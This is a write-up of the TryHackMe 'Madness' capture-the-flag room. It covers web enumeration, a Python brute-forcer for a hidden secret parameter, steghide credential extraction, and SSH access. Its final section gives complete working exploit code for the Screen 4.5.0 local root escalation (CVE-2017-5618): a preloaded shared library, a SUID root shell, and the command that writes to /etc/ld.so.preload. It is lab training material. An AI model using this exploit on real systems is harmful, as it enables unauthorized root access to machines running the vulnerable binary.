Skip to main content

Command Palette

Search for a command to run...

Madness - Joker CTF x Steganography (TryHackMe)

Updated
6 min read
Madness - Joker CTF  x  Steganography (TryHackMe)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Introduction

This challenge demonstrates a multi-stage attack involving web enumeration, steganography, and privilege escalation. The box requires discovering hidden content through careful reconnaissance, extracting credentials from an image file, and exploiting a known vulnerability in Screen 4.5.0 to gain root access. No SSH brute-forcing is required - all credentials can be discovered through proper enumeration techniques.

Flag Submission

Please note this challenge does not require SSH brute forcing.

Use your skills to access the user and root account!

Answer the questions below

  1. user.txt

    nmap -p- -sV -sC <IP_Address>

     Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-02 17:49 GMT
     mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
     mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
     Nmap scan report for 10.48.153.218
     Host is up (0.00032s latency).
     Not shown: 65533 closed ports
     PORT   STATE SERVICE VERSION
     22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
     | ssh-hostkey: 
     |   2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
     |   256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
     |_  256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (ED25519)
     80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
     |_http-server-header: Apache/2.4.18 (Ubuntu)
     |_http-title: Apache2 Ubuntu Default Page: It works
     Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
     Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
     Nmap done: 1 IP address (1 host up) scanned in 9.74 seconds
    

    gobuster dir -u http://<IP_Address> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

    I noticed that http://<IP_Address>/?.html shows the default break without breaking

     curl http://10.48.153.218/index.php
    
     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <body>
         <div class="main_page">
           <div class="page_header floating_element">
             <img src="thm.jpg" class="floating_element"/>
     <!-- They will never find me-->
             <span class="floating_element">
               Apache2 Ubuntu Default Page
             </span>
           </div>
     <!--      <div class="table_of_contents floating_element">
             <div class="section_header section_header_grey">
               TABLE OF CONTENTS
             </div>
             <div class="table_of_contents_item floating_element">
               <a href="#about">About</a>
             </div>
             <div class="table_of_contents_item floating_element">
               <a href="#changes">Changes</a>
             </div>
             <div class="table_of_contents_item floating_element">
               <a href="#scope">Scope</a>
             </div>
             <div class="table_of_contents_item floating_element">
               <a href="#files">Config files</a>
             </div>
           </div>
     -->
       </body>
     </html>
    

    wget http://<IP_Address>/thm.jpg

    strings thm.jpg

    exiftool thm.jpg

    steghide extract -sf thm.jpg

    • didn’t have a passphrase

xxd thm.jpg | head -20

    cp thm.jpg thm_fixed.jpg
    printf '\xff\xd8' > thm_fixed.jpg
    dd if=thm.jpg of=thm_fixed.jpg bs=1 skip=20 seek=2
    22190+0 records in
    22190+0 records out
    22190 bytes (22 kB, 22 KiB) copied, 0.151501 s, 146 kB/s

used the above code to make a copy and fixed it, then used steghide again, but didn’t find anything.

Viewing the image, there was a hidden path: http://<IP_Address>/th1s_1s_h1dd3n

    gobuster dir -u http://<IP_Address>/th1s_1s_h1dd3n -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.49.157.80/th1s_1s_h1dd3n
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              txt,php,html
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /.php                 (Status: 403) [Size: 277]
    /index.php            (Status: 200) [Size: 406]
    /.html                (Status: 403) [Size: 277]
    Progress: 873100 / 873104 (100.00%)
    ===============================================================
    Finished

http://<IP_Address>/th1s_1s_h1dd3n

There’s a code comment which will be our hint: // It's between 0-99 but I don't think anyone will look here

    /usr/bin/env python3
    import requests

    url = "http://10.49.157.80/th1s_1s_h1dd3n"

    print("[*] Brute forcing secret parameter (0-99)...")

    for num in range(100):
        response = requests.get(url, params={'secret': num})

        # Print progress
        print(f"[*] Trying secret={num}", end='\r')

        # Check if we got something different (flag found)
        if "wrong" not in response.text.lower() and len(response.text) > 100:
            print(f"\n[+] FOUND! secret={num}")
            print(f"[+] Response:\n{response.text}")
            break
        elif "flag" in response.text.lower() or "thm{" in response.text.lower():
            print(f"\n[+] FLAG FOUND! secret={num}")
            print(f"[+] Response:\n{response.text}")
            break
    else:
        print("\n[-] No flag found in range 0-99")

nano brute_secret.py

chmod +x brute_secret.py

python3 brute_secret.py

    [*] Brute forcing secret parameter (0-99)...
    [*] Trying secret=73
    [+] FOUND! secret=73
    [+] Response:
    <html>
    <head>
      <title>Hidden Directory</title>
      <link href="stylesheet.css" rel="stylesheet" type="text/css">
    </head>
    <body>
      <div class="main">
    <h2>Welcome! I have been expecting you!</h2>
    <p>To obtain my identity you need to guess my secret! </p>
    <!-- It's between 0-99 but I don't think anyone will look here-->

    <p>Secret Entered: 73</p>

    <p>Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B</p>

    </div>
    </body>
    </html>

http://<IP_Address>/th1s_1s_h1dd3n/?secret=73

with this we can go back to steghide to check if we can find details about our ssh user or their password

steghide extract -sf thm_fixed.jpg

  • We find a hidden.txt file

cat hidden.txt

python3 -c "import codecs; print(codecs.decode('wbxre', 'rot_13'))"

  • This reveals the real username

  • The image below happens to have a password for our SSH user

    • couldn’t run steghide locally, so I just used this writeup to help me with this one

ssh joker@<IP_Address>

find / -type f -name user.txt 2>/dev/null

  1. root.txt

    sudo -l

    This didn’t work, and I opted to use a different way

    find / -perm -4000 2>/dev/null

     sudo -l
     [sudo] password for joker: 
     Sorry, user joker may not run sudo on ubuntu.
     joker@ubuntu:~$ find / -perm -4000 2>/dev/null
     /usr/lib/openssh/ssh-keysign
     /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     /usr/lib/eject/dmcrypt-get-device
     /usr/bin/vmware-user-suid-wrapper
     /usr/bin/gpasswd
     /usr/bin/passwd
     /usr/bin/newgrp
     /usr/bin/chsh
     /usr/bin/chfn
     /usr/bin/sudo
     /bin/fusermount
     /bin/su
     /bin/ping6
     /bin/screen-4.5.0
     /bin/screen-4.5.0.old
     /bin/mount
     /bin/ping
     /bin/umount
    

Screen version 4.5.0 is vulnerable to a local privilege escalation exploit (CVE-2017-5618) that abuses the ld.so.preload mechanism.

Exploitation

Create libhax.c

This shared library will be preloaded and will modify the ownership and permissions of our rootshell binary:

cd /tmp
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

Compile the shared library

gcc -fPIC -shared -ldl -o libhax.so libhax.c

Create rootshell.c

This is the SUID binary that will give us a root shell:

cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

Compile rootshell

gcc -o rootshell rootshell.c

Trigger the exploit

The vulnerable screen binary allows us to write to /etc/ld.so.preload:

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
```

**Output:**
```
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-joker.

The [+] done! message indicates our library was executed with root privileges, making /tmp/rootshell a SUID binary owned by root.

Execute rootshell for root access

/tmp/rootshell

Capture the Flag

Vulnerability Explanation

The Screen 4.5.0 SUID binary has a race condition that allows unprivileged users to write to /etc/ld.so.preload. This file tells the dynamic linker which libraries to load before all others. By injecting our malicious library path, we can execute arbitrary code with root privileges when screen (or any SUID binary) is launched.

CVE Reference: CVE-2017-5618


Conclusion

This challenge effectively teaches several important penetration testing concepts:

Key Takeaways:

  • Hidden HTML comments can reveal valuable clues and attack vectors

  • Steganography is a common technique for hiding credentials in CTF challenges

  • File header corruption can prevent tools from working - knowing how to fix corrupted files is essential

  • SUID binaries are prime targets for privilege escalation

  • Known CVEs like the Screen 4.5.0 exploit (CVE-2017-5618) demonstrate why keeping systems patched is critical

The progression from web enumeration → steganography → credential discovery → privilege escalation mirrors real-world attack chains. This room reinforces the importance of thorough enumeration at every stage and understanding how to leverage existing exploits effectively.